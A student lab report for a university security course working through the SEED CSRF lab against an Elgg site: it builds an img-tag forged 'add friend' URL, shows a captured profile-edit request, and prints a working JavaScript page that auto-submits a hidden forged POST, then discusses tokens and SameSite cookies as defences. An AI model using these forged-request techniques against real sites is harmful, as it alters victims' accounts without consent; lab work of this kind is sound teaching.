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CIS 4360


3/3/2025

Florida State University

Lab 4


Task 3.1

This task asks us to become familiar with the "HTTP Header Live" tool we installed in FireFox. After setting up the DNS settings for our website, we access <u>www.seed-server.com</u> to analyze our GET and POST requests. Below are screenshots of both. The GET requests are from accessing the site, and moving to one of its subdomains, in this case the "Blog" section. Our POST request comes from signing in to the "alice" account we were provided with. The only parameters are the "blog" and "login" sections of the URL.



Task 3.1

This task asks us to hypothesize a way to add our attacker (Samy) to our victim's (Alice) friends list. Using CSRF, we can send Alice a link that brings her to our attacker site. On this attacker site, we can use the *img* tag that will automatically load when Alice visits the website. Below is a legitimate "add friend" request:



Some data is cut off, the full URL is:

```
http://www.seed-
```

server.com/action/friends/add?friend=59&__elgg_ts=1740872966&__elgg_token=OwWC69pJ DIGTYLzaZBc7gQ& elgg_ts=1740872966& elgg_token=OwWC69pJDIGTYLzaZBc7gQ

In this particualr task, parameters "__elgg_ts" and "__elgg_token" do not need to be included, so the below URL with suffice:

http://www.seed-server.com/action/friends/add?friend=59

Knowing this, we can use the *img* tag on our attacker website to use this URL when the page loads. Therefore, if Alice clicks our link, she will be brough to our attacker site, where it will load the embbed URL listed above, automatically, without alice clicking anything on the page. This will add Samy to Alice's friends list.

Task 3.3

This task takes the previous task a step further. We now want to (acting as Samy) add a message to Alice's profile that says "Samy is my Hero". The first photo is testing adding something to Alice's profile. We added the word "test" into the "About Me" section:

```
http://www.seed-server.com/action/profile/edit
Host: www.seed-server.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------21001825602791964703920020688
Content-Lenath: 2977
Origin: http://www.seed-server.com
Connection: keep-alive
Referer: http://www.seed-server.com/profile/alice/edit
Cookie: traffic_target=gd; caf_ipaddr=104.222.19.33; country=US; city=Tallahassee; lander_type=parkweb; __gsas=:
Upgrade-Insecure-Requests: 1
  elgg_token=YB1pXJ_NyPepuIgT4S_hqA&__elgg_ts=1740874410&name=Alice&description=test
&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&acces
POST: HTTP/1.1 302 Found
Date: Sun, 02 Mar 2025 00:14:40 GMT
Server: Apache/2.4.41 (Ubuntu)
Cache-Control: must-revalidate, no-cache, no-store, private expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
Location: http://www.seed-server.com/profile/alice
Vary: User-Agent
Content-Length: 406
```

Using the information we gathered from the URL, we can construct a script using the code skeleton provided. This allowed us to ad our desired text to Alice's profile when we visited the website.

Keep-Alive: timeout=5, max=100 Connection: Keep-Alive


Content-Type: text/html; charset=UTF-8

```
root@be3281e4fcd6: /var/www/attacker
 GNU nano 4.8
                                                                  editprofile.html
<html>
<body>
<hl>This page forges an HTTP POST request.</hl>
<script type="text/javascript">
function forge post()
     var fields;
     // The following are form entries need to be filled out by attackers.
     // The entries are made hidden, so the victim won't be able to see them.

fields += "<input type='hidden' name='name' value='Alice'>";

fields += "<input type='hidden' name='briefdescription' value='<p>Samy is my Hero'>";

fields += "<input type='hidden' name='accesslevel[briefdescription]' value='2'>";
     fields += "<input type='hidden' name='guid' value='56'>";
     // Create a <form> element.
     var p = document.createElement("form");
     // Construct the form
     p.action = "http://www.seed-server.com/action/profile/edit";
     p.innerHTML = fields;
     p.method = "post";
      // Append the form to the current page.
     document.body.appendChild(p);
      // Submit the form
     p.submit();
// Invoke forge_post() after the page is loaded.
window.onload = function() { forge_post();}
</script>
</body>
</html>
```




Question 1: The guid is often visible when visiting someone's profile, so Boby could visit the users page to find the guid first.

Question 2: If Boby has random visitor on his site, there is still a possibility that he can run the script. He can either extract the guid if the visitor has a tab open with it. Otherwise no.

Task 4.1

Commenting out the initial return statement disallows the script from executing. The following is returned the below picture. The attacker cannot send the secret tokens "__elgg_token" and "__elgg_ts" in a CSRF attack because these tokens are dynamically generated for each user session and are not accessible to the attacker's website due to the "Same Origin Policy".



Task 4.2

In this last task we are brought to www.example32.com to experiment with different cookies.

- The first link, Link A, points to a page on www.example32.com so all three cookies are included. For Link B, it points to a page on www.attacker32.com, but it also sends a request to "www.example32.com/showcookies.php" from a different origin. The strict cookie isn't sent because it is never sent for a cross site request.
- If a cross site request (from www.attacker32.com) does not include SameSite=Strict **or** SameSite=Lax cookies, the server can detect it as a potential CSRF attack. By checking the presence or absence of SameSite cookies, the server can differentiate between the two.
- To prevent CSRF attacks in Elgg, we can apply SameSite cookie protections to the session ID cookie, or the Elgg server can reject requests without a session Ccookie

